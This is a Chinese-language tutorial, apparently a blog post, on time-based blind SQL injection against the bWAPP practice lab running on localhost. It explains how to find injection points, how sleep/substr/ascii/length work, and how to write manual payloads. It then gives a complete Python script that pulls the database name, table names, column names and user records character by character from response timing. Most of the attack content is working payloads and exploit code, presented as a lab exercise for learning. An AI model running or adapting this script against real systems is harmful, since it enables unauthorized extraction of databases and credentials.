目录
一、注入点判断
注入类型
SQL注入的类型
二、基于时间的时间盲注
什么是时间盲注
sleep()函数
常用函数
三、bWAPP基于时间的盲注实战
1、输入一个单引号',因为语句中多了一个',在没有括号的情况下,系统会认为后续内容为字符串,从而报错,如果看到错误提示信息,则说明存在sql注入漏洞(单引号个数不匹配)
2、括号的情况,sql里面如果存在('1')这种情况,注释在括号中是不生效的,即('1-- +')不会将')注释掉,且输入双引号不会报错,同理("1")这种情况下输入单引号不会报错
数字型:select * from xxx where id=1
这个时候我们注入就不用再添加单引号啦
判断方法:先输入一个' 看到错误信息,再注释掉后续内容 即 ‘ -- + 发现还是报错,提示信息中看不到括号等信息,可以猜测是数字型注入
字符型:select * from xxx where id='1'
这个时候构造中最好都带上单引号即,select * from xxx where id='1' or '1'='1'
判断方法:与数字型相反,注释掉后续内容后不报错,可以猜测是字符型
boolean-Base布尔型盲注
Union联合查询注入
Time-Based基于时间延迟注入
Error-Based报错型注入
盲注的时候非常看响应速度,即延迟,phpstudy本身会有2s左右的延时,将靶场连接数据库的参数localhost 改成127.0.0.1 让速度快起来!
盲注:顾名思义摸黑注入,其实就是没有回显了,甚至连注入语句是否执行都不清楚
时间盲注:通过注入特定的语句,根据对页面请求的物理反馈,来判断是否注入成功。在sql中使用sleep()函数看加载网页的时间来判断注入点
sleep(n)会延时显示结果,且延时的时间为 n×查询到的记录数
例: select * from xx where a='aa' and sleep(3) (每一条记录都会延时3秒)
注:and前为真的时候才会延时,延时时间除以3,算出满足前面条件的记录条数
睡眠函数
sleep(n)——返回0、中断返回1
截取字符串
substr('str',1,1)从第一个开始取取一个——substr(字符串,开始位置,取几个)
不写第三个参数,默认取到最后一个字符
select substr(database(),1,1)='q' and sleep(3) ——猜解数据库名过程
猜解数据库名的过程中,我们需要知道数据库名的长度
第三个函数获取长度
length()——返回长度
select length(database())
获取ascii码
select ascii('str') ——返回第一个字符的ascii码
为啥要用ASCII码呢,select substr(database(),1,1)='q' and sleep(3)这种直接写='a'的形式不是也可以吗,但是在时间盲注猜解时,如果一个一个试非常的麻烦而且工作量巨大,这个时候就应该写一个脚本,自动的来猜测,脚本如果直接用字母符号计算的时候会比较慢,所以使用ASCII码会提高效率
select ascii(substr(database(),1,1)) > 50 and sleep(2)——猜解第一位
很多函数都有变种,用法与效果类似,名字不同,在某些时候,一些函数被禁止调用,可以寻找其变种来使用,如:substr与mid,left()从左往右截,ascii与ord
这次还是选用bWAPP靶场,选择time
可以看到下面提示,返回值将使用邮箱发回,简而言之就是说!没有回显啦小老弟
接下来试试sleep函数能不能用
F12,然后输入一个1 search一下
可以看到延时才5毫秒
接下来尝试输入
1' or sleep(1) -- +
因为提示我们输入电影名了,所以大概率是字符型的,为啥用or呢因为用and时要保证前面的是正确的才可以执行sleep,测试一下
这里得等一会才出来,其实等待的时候就已经说明这个sleep起效了
接下来我们需要通过sleep是否起效来判断一些内容,所以必须保证它前面这个是正确的,所以接下来试一下怎么让 xxx' and sleep(1) 起效
i' or 1=1 and sleep(1) -- + 试试前面学过的万能密码
ok这时候sleep也起效了
但是因为用了万能密码,我们还是要确认一下如果再加判断(我们需要确定的)是否会被万能密码影响,
i' or 1=1 and 1=2 and sleep(1) -- +
ok这时没sleep
再试一下
i' or 1=1 and 1=1 and sleep(1) -- +
可喜可贺sleep了
综上说明可以用万能密码配合sleep
接下来就是尝试获取数据库名了
两种方法:手试和写脚本
手试(就试一个字母吧,毕竟写脚本还是简单的)
要获取数据库名先要获取数据库名称长度
i' or 1=1 and length(database())=? and sleep(1) -- +
这句话内部的select会计算数据库名长度,外面呢就是尝试,?处填入不同的数字,如果sleep了
说明试对了,为了效率可以把等于号换成大于号或小于号
i' or 1=1 and length(database())>4 and sleep(1) -- +
sleep了说明数据库名长度大于4
i' or 1=1 and length(database())>5 and sleep(1) -- +
不大于5,那就是5
i' or 1=1 and length(database())=5 and sleep(1) -- +
这里说个or 1=1 的弊端,刚才说了sleep时间是根据记录条数来算的,or1=1其实是把所有记录都拿出来了,这里也可以看到延时几乎都到10s了,如果数据量再大点加上尝试很多次,这个延时就非常烦人了,最好还是拿一个准确的值出来
从上一章渗透拿到的数据来看有一个电影叫 Iron Man,可以用它来代替or 1=1
这个时候输入sleep(2)才延时2s,刚刚好,or 1= 1 确实挺浪费时间的
接下来就是拿数据库名了,为啥说要知道长度呢,因为数据库名是需要一个字符一个字符去试的,比如说现在拿到数据库名长度为5,那我们就需要尝试5组,每组出一个字符,是不是很麻烦,手动就演示一个字符吧
先构造语句
Iron Man' and substr(database(),1,1)='a' and sleep(1) -- +
Iron Man' and substr(database(),1,1)='b' and sleep(1) -- +
最后试出来第一个字符是b
ok,纯手试就到这里,下面开始快乐的敲代码!
先引入requests 和time包
接下来构造求数据库名长度的函数,连接url,查看返回值
发现有个name=login,这是为啥呢,因为和postman一样需要cookie来绕过登陆
界面不一样了,查找一下e-mail
ok说明已经进入到这个页面了
开始构造sql语句
import requests
import time
HEAD={
"Cookie":"security_level=0; PHPSESSID=ijgbo5f94rr6ahbg1gp9ogdj53"
}
B_URL="http://localhost:8090/bwapp/bWAPP/sqli_15.php?"
def get_database_length():
for i in range(100):
url=B_URL+f"title=Iron Man' and length(database())={i} and sleep(1) -- + &action=search"
start_time=time.time()
requests.get(url,headers=HEAD)
if time.time()-start_time>1:
print(f"数据库名长度为{i}")
return i
if __name__=='__main__':
get_database_length()
这里用开始时间减去响应完成的时间,算出整个过程的时间,如果大于1,说明sleep运行了,最后输出一下数据库名长度
接下来定义第二个函数,求解数据库名称
def get_database_name(lens):
name=""
for i in range(lens):
for j in range(30,130):
url=B_URL+f"title=Iron Man' and ascii(substr(database(),{i+1},1))={j} and sleep(1) -- + &action=search"
start_time=time.time()
requests.get(url,headers=HEAD)
if time.time()-start_time>1:
name+=chr(j)
print(name)
return name
if __name__=='__main__':
get_database_name(get_database_length())
看!数据库名就出来啦,这里i是用来控制求五组,j是用来求每个字符的,字符的ascii码区间在
33到127之间好像,30到130肯定全乎
这里要注意substr是从1开始的limit是从0开始的,range是从0开始的
后面再chr()把ascii转换成字符串
接下来定义第三个函数,求解该数据库中有几张表
def get_table_count():
for i in range(100):
url = B_URL + f"title=Iron Man' and (select count(table_name) from information_schema.tables where table_schema=database())={i} and sleep(1) -- + &action=search"
start_time = time.time()
requests.get(url, headers=HEAD)
if time.time() - start_time > 1:
print(f"该数据库一共有{i}张表")
return i
if __name__=='__main__':
get_table_count()
这块和上面类似不过多赘述
接下来第四个函数,求解每个表名长度
def get_table_leng(count):
a=[]
for i in range(count):
for j in range(100):
url = B_URL + f"title=Iron Man' and (select length(table_name) from information_schema.tables where table_schema=database() limit {i},1 )={j} and sleep(1) -- + &action=search"
start_time = time.time()
requests.get(url, headers=HEAD)
if time.time() - start_time > 1:
print(f"第{i+1}张表的表名长度为{j}")
a.append(j)
if __name__=='__main__':
get_table_leng(5)
这里用了limit 记得是从0开始的
接下来第五个函数,求解表名(这里写一个求解所有表名的,也可以写求解一个的)
def get_table_name(lens):
a=[]
for i in range(len(lens)):
temp=""
for j in range(lens[i]):
for k in range(30,130):
url = B_URL + f"title=Iron Man' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j+1},1))={k} and sleep(1) -- + &action=search"
start_time = time.time()
requests.get(url, headers=HEAD)
if time.time() - start_time > 1:
temp+=chr(k)
print(f"第{i+1}张表名为{temp}")
a.append(temp)
return a
if __name__=='__main__':
get_table_name(get_table_leng(5))
别看sql语句挺长的,但是很容易看懂的看不懂的去看前面或者前几篇文章
表名就出来啦,接下来就是求字段数量、字段长度、字段名、记录数,记录长度,最后把记录提取出来,跟前面大同小异啦
完整代码
import requests
import time
#http://localhost:8090/bwapp/bWAPP/sqli_15.php?title=&action=search
HEADER={
"Cookie":"security_level=0; PHPSESSID=ijgbo5f94rr6ahbg1gp9ogdj53"
}
BASE_URL='http://localhost:8090/bwapp/bWAPP/sqli_15.php?'
def get_database_length():
#Iron Man' and length(database())=1 and sleep(2)
for i in range(100):
url=BASE_URL+f"title=Iron Man' and length(database())={i} and sleep(2) --+ &action=search"
start_time=time.time()
requests.get(url,headers=HEADER)
if time.time() -start_time>1:
print(f"长度为{i}")
return i
def get_database_name(len):
name=""
for j in range(1,len+1):
for i in range(33,127):
url = BASE_URL + f"title=Iron Man' and ascii(substr(database(),{j},1))={i} and sleep(3) --+ &action=search"
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 1:
name+=chr(i)
print("数据库名字是"+name)
return name
def get_table_name_count():
for i in range(100):
url=BASE_URL+f"title=Iron Man' and (select count(table_name) from information_schema.tables where table_schema=database())={i} and sleep(3) --+ &action=search"
start_time=time.time()
requests.get(url,headers=HEADER)
if time.time()-start_time>1:
print(i)
return i
def get_table_name_length(table_count):
a=[]
for j in range(table_count):
for i in range(100):
url=BASE_URL+f"title=Iron Man' and (select length(table_name) from information_schema.tables where table_schema=database() limit {j},1)={i} and sleep(3) --+ &action=search "
start_time=time.time()
requests.get(url,headers=HEADER)
if time.time()-start_time>1:
a.append(i)
print(f"第{j}张表长度为{i}")
return a
def get_table_name(lens):
str=[]
for j in range(len(lens)):
temp = ""
for i in range(lens[j]):
for k in range(33,127):
url=BASE_URL+f"title=Iron Man' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {j},1),{i+1},1))={k} and sleep(3)--+ &action=search"
start_time=time.time()
requests.get(url,headers=HEADER)
if time.time()-start_time>1:
temp+=chr(k)
print(temp)
str.append(temp)
print(str)
def get_columns_count(name):
for i in range(100):
url = BASE_URL + f"title=Iron Man' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='{name}')={i} and sleep(3) --+ &action=search"
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 1:
print(i)
return i
def get_column_name_length(table_count,name):
a=[]
for j in range(table_count):
for i in range(100):
url=BASE_URL+f"title=Iron Man' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='{name}' limit {j},1)={i} and sleep(3) --+ &action=search "
start_time=time.time()
requests.get(url,headers=HEADER)
if time.time()-start_time>1:
a.append(i)
print(f"第{j}张表长度为{i}")
return a
def get_column_name(lens,name):
str=[]
for j in range(len(lens)):
temp = ""
for i in range(lens[j]):
for k in range(33,127):
url=BASE_URL+f"title=Iron Man' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='{name}' limit {j},1),{i+1},1))={k} and sleep(3)--+ &action=search"
start_time=time.time()
requests.get(url,headers=HEADER)
if time.time()-start_time>1:
temp+=chr(k)
print(temp)
str.append(temp)
print(str)
def get_zd_count(name):
for i in range(100):
url = BASE_URL + f"title=Iron Man' and (select count(*) from {name})={i} and sleep(3) --+ &action=search"
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 1:
print(i)
return i
def get_value(name,column,count):
str_l=[]
for i in range(count):
str=""
for j in range(100):
url=BASE_URL+f"title=Iron Man' and (select length({column}) from {name} limit {i},1)={j} and sleep(3) --+ &action=search"
start_time=time.time()
requests.get(url,headers=HEADER)
if time.time()-start_time>1:
print(j)
for k in range(j):
for p in range(30,130):
url = BASE_URL + f"title=Iron Man' and ascii(substr((select {column} from {name} limit {i},1),{k+1},1))={p} and sleep(3) --+ &action=search"
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time()-start_time>1:
print(chr(p))
str+=chr(p)
str_l.append(str)
if __name__=='__main__':
get_value('users','login',2)
嘎嘎嘎,就到这吧